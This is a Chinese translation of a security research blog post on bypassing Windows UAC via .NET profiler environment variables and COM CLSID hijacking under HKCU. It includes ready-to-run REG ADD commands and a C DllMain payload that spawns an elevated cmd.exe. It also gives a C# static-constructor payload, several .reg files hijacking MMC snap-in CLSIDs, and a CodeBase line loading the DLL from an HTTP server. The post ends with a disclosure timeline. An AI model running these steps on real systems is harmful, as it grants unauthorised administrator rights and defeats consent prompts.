.NET框架可以通過用戶自定義環(huán)境變量和CLSID注冊表項來加載profiler DLL或者COM組件DLL,甚至當(dāng)前進(jìn)程是提權(quán)的。這種行為可以被利用來繞過Windows 7到10(包括最近的RS3)系統(tǒng)的默認(rèn)UAC設(shè)置,如通過自動提權(quán).NET進(jìn)程(MMC管理單元)來加載任意的DLL。
介紹
去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加載可能會被濫用,通過環(huán)境變量使合法的.NET程序加載一個惡意DLL
當(dāng)看到這一點,腦海中第一種想法就是,如果這個方法在高權(quán)限.NET進(jìn)程也可以工作,那這將是一個繞過UAC的好辦法。果然,確實如此。
這個問題到寫這篇博客時依然沒有修復(fù),而且可能一直如此——但是在7月,它被 Stefan Kanthak獨立地發(fā)現(xiàn)并報告了,按完整披露流程公布了該問題。
繞過UAC
要讓一個.NET應(yīng)用程序加載任意一個DLL,我們可以使用以下環(huán)境變量。
COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll
在.NET 4以下版本,CLSID必須在HKCR\CLSID{GUID}\InprocServer32定義包含profiling DLL的路徑的注冊表鍵。在最近版本中,CLR通過COR_PROFILER_PATH環(huán)境變量來找這個DLL,如果COR_PROFILER_PATH沒有定義再使用CLSID查找。
HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID組合起來顯示的。在HKLM(或者系統(tǒng)環(huán)境變量)下創(chuàng)建CLSID鍵需要提權(quán),而在HKCU下創(chuàng)建不需要。需要注意,在用戶環(huán)境變量和HKCU注冊表項下一切也都工作正常。
可以簡單使用一段批處理命令讓它工作:
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc
這些命令在低權(quán)限命令行下可以在高權(quán)限的mmc.exe進(jìn)程中加載C:\temp\test.dll(如果存在)。可以繞過Windows 7到10(包括最新RS3)系統(tǒng)的默認(rèn)UAC設(shè)置。

內(nèi)嵌DLL的powershell POC可以在這里找到(只支持X64)。
這個DLL只在DLL_PROCESS_ATTACH下運行一個cmd.exe,會產(chǎn)生一個提權(quán)的命令行終端,然后馬上退出當(dāng)前進(jìn)程,阻止MMC控制臺彈出。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在Windows 7,8.1,10 1703和10 RS3 build 16275中測試通過。
當(dāng)然,如果你有可訪問的SMB共享,UNC路徑也可以工作。
COR_PROFILER_PATH=\\server\share\test.dll
根本原因
COM運行時在運行高權(quán)限進(jìn)程時會阻止在HKCU查找CLSID,所以這種繞過方式無效,但是.NET運行時沒有阻止,在這種情況下,.NET在shim組件查找時會查找這些鍵值。

如果要修復(fù),需要CLR實現(xiàn)和COM一樣的檢查。
更多維度
現(xiàn)在我們知道CLR是如何工作的了,我們可以在堆棧中找他CLR調(diào)用的其他在HKCU查找CLSID的實例。一個實例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)組件(在我測試虛擬機中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。

查看HKCU已經(jīng)存在的項中,好像是指向CLR程序及自己實現(xiàn)的組件。

我們可以在HKCU下像這樣定義一個COM項(.reg格式):
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
MMC會加載我們的托管DLL,并且嘗試訪問TestDotNet.Class1類。C#沒有一種簡單的創(chuàng)建入口是DllMain的簡單DLL(我們很懶所以不想寫模塊初始化),但是貌似注冊表指向的類被加載了,所以我們只需要一個靜態(tài)構(gòu)造函數(shù)來執(zhí)行我們的提權(quán)代碼。
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
將DLL放在注冊表項定義的位置,然后運行g(shù)pedit.msc,可以看到彈出了一個提權(quán)的終端(和.NET一樣)。


這種方式一個有趣的點是CodeBase不僅限于本地文件和SMB共享,這個DLL還可以從HTTP鏈接中加載。
"CodeBase"="http://server:8080/test_managed.dll"
需要注意的是下載的DLL會拷貝到硬盤上,所以這種方式比本地DLL更好檢測(硬盤+網(wǎng)絡(luò)組合)。
另外一件好事(對攻擊者)是這種方式下可以濫用多種CLSID。
下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:
- 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor組件

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
- Native DLL的NDP SymBinder組件,劫持\Server項

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"
- Native DLL的Microsoft Common Language Runtime Meta Data組件,劫持\Server項(只有secpol.msc可用)

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"
(注意:路徑必須是相對的,否則mmc.exe會嘗試加載C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)
不是安全邊界
微軟多次申明UAC不是一個安全邊界,安全從業(yè)者以更務(wù)實的角度來看它:不要信任UAC,不要用admin運行,用非admin用戶運行不需要admin的任務(wù),我非常贊同這種說法。
但是依然很多人用admin運行所有的東西,他們都是滲透測試人員和紅色組織(都是壞人)感興趣的目標(biāo)。所以我猜測還會有新的關(guān)于UAC的有趣技術(shù)。
如果為了滲透測試,我推薦使用@tiraniddo的例子(一個已經(jīng)實現(xiàn),另一個也快來了),它不需要加載DLL,并且目前大部分EDR解決方案還不能捕獲它。
另外,如果你也在研究繞過UAC,這個主題外有很多資源,但是下面的必須讀一下:
- @enigma0x3's research (and his upcoming DerbyCon talk)
- @tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
- @hFireF0X's UACME project that implements most known UAC bypasses, and his posts on kernelmode
- @FuzzySec's UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell
非常感謝Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感謝對微軟開發(fā)者找到根本原因給予的幫助,謝謝Matt Graeber (@mattifestation) 的意見和review。
進(jìn)展時間
2017-05-19 發(fā)現(xiàn)bypass
2017-05-20 給MSRC發(fā)郵件 (cc'ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC創(chuàng)建主題 #38811
2017-05-20/23 和 MS dev討論
2017-06-24 MSRC回復(fù): "We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary."
2017-07-05 Stefan Kanthak繞過方案的完整披露
2017-09-15 發(fā)表本篇文章
文章來源:https://offsec.provadys.com/UAC-bypass-dotnet.html
轉(zhuǎn)載請注明:http://anhkgg.com/tans-net-bypass-uac/